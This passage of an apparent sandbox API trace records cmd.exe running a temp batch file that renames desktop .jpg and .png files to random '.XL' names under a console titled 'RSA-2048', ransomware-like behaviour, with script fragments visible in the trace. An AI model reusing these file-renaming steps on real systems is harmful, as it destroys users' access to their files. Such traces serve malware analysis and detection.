"c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.237] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.237] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.237] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.237] GetProcessHeap () returned 0x4e0000 [0038.237] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.237] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.237] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0038.237] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fba, lpOverlapped=0x0) returned 1 [0038.238] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0038.238] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0038.238] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.238] GetFileType (hFile=0x74) returned 0x1 [0038.238] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.238] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0038.238] GetProcessHeap () returned 0x4e0000 [0038.238] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.238] GetProcessHeap () returned 0x4e0000 [0038.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.238] _tell (_FileHandle=3) returned 1653 [0038.238] _close (_FileHandle=3) returned 0 [0038.238] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.238] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.238] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.238] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0038.238] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.238] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0038.239] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fb8, lpOverlapped=0x0) returned 1 [0038.239] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0038.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n\n") returned 26 [0038.239] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.239] GetFileType (hFile=0x74) returned 0x1 [0038.239] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.239] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0038.239] GetProcessHeap () returned 0x4e0000 [0038.239] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.239] GetProcessHeap () returned 0x4e0000 [0038.239] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0038.239] GetProcessHeap () returned 0x4e0000 [0038.239] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0038.239] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.239] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0038.239] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0038.239] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0038.239] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0038.239] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0038.239] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0038.239] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0038.239] rand () returned 9130 [0038.239] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="9130") returned 4 [0038.239] GetProcessHeap () returned 0x4e0000 [0038.239] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.239] GetProcessHeap () returned 0x4e0000 [0038.239] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0038.239] GetProcessHeap () returned 0x4e0000 [0038.239] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.240] GetProcessHeap () returned 0x4e0000 [0038.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0038.240] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x26) returned 0x4f6080 [0038.240] _tell (_FileHandle=3) returned 1679 [0038.240] _close (_FileHandle=3) returned 0 [0038.240] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0038.240] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0038.240] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0038.240] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0038.240] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0038.240] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0038.240] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0038.240] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0038.240] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4a98 [0038.241] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x26) returned 0x4f4a98 [0038.241] GetProcessHeap () returned 0x4e0000 [0038.241] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x26 [0038.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x34) returned 0x4f4ac8 [0038.241] GetProcessHeap () returned 0x4e0000 [0038.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4b08 [0038.241] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x26) returned 0x4f4b08 [0038.241] GetProcessHeap () returned 0x4e0000 [0038.241] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x26 [0038.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0038.241] GetProcessHeap () returned 0x4e0000 [0038.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0038.241] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0038.241] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0038.241] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0038.241] GetLastError () returned 0x7b [0038.241] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0038.241] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.242] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41e850*="*.jpg") returned 0x2b [0038.242] SetErrorMode (uMode=0x0) returned 0x1 [0038.242] GetProcessHeap () returned 0x4e0000 [0038.242] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0038.242] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0038.242] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0038.242] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0038.242] GetLastError () returned 0x7b [0038.243] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0038.243] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZBPLPhCRCXl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbplphcrcxl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9130.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9130.xl")) returned 1 [0038.244] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 0 [0038.244] GetLastError () returned 0x12 [0038.244] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0038.244] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.244] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.244] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.244] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.244] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.244] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.245] SetConsoleInputExeNameW () returned 0x1 [0038.245] GetConsoleOutputCP () returned 0x1b5 [0038.245] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.245] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.245] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.245] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.245] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.245] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.245] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.245] GetProcessHeap () returned 0x4e0000 [0038.246] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0038.246] GetProcessHeap () returned 0x4e0000 [0038.246] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.246] GetProcessHeap () returned 0x4e0000 [0038.246] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.246] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.246] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0038.246] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1f9e, lpOverlapped=0x0) returned 1 [0038.246] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0038.246] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0038.246] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.246] GetFileType (hFile=0x74) returned 0x1 [0038.246] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.246] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0038.246] GetProcessHeap () returned 0x4e0000 [0038.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.246] GetProcessHeap () returned 0x4e0000 [0038.246] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.246] GetProcessHeap () returned 0x4e0000 [0038.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0038.246] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.247] _tell (_FileHandle=3) returned 1690 [0038.247] _close (_FileHandle=3) returned 0 [0038.247] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0038.247] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0038.247] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0038.247] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0038.247] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0038.247] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0038.247] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0038.247] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0038.247] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0038.247] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0038.247] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0038.247] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0038.247] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0038.247] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0038.247] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0038.247] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0038.247] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0038.247] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0038.248] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0038.248] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0038.248] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0038.248] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.248] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.248] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0038.248] GetProcessHeap () returned 0x4e0000 [0038.248] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0038.248] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0038.248] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.248] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0038.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.248] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0038.248] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.248] GetFileType (hFile=0x74) returned 0x1 [0038.248] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0038.249] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=1692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0038.249] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0038.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0038.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.249] GetFileType (hFile=0x74) returned 0x1 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0038.249] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0038.249] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\n 9130.XL") returned 6 [0038.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0038.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.249] GetFileType (hFile=0x74) returned 0x1 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0038.249] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=1700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0038.249] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0038.249] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.249] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0038.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.250] GetFileType (hFile=0x74) returned 0x1 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0038.250] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=1726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0038.250] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0038.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0038.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.250] GetFileType (hFile=0x74) returned 0x1 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0038.250] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=1737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0038.250] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0038.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0038.250] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.250] GetFileType (hFile=0x74) returned 0x1 [0038.250] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 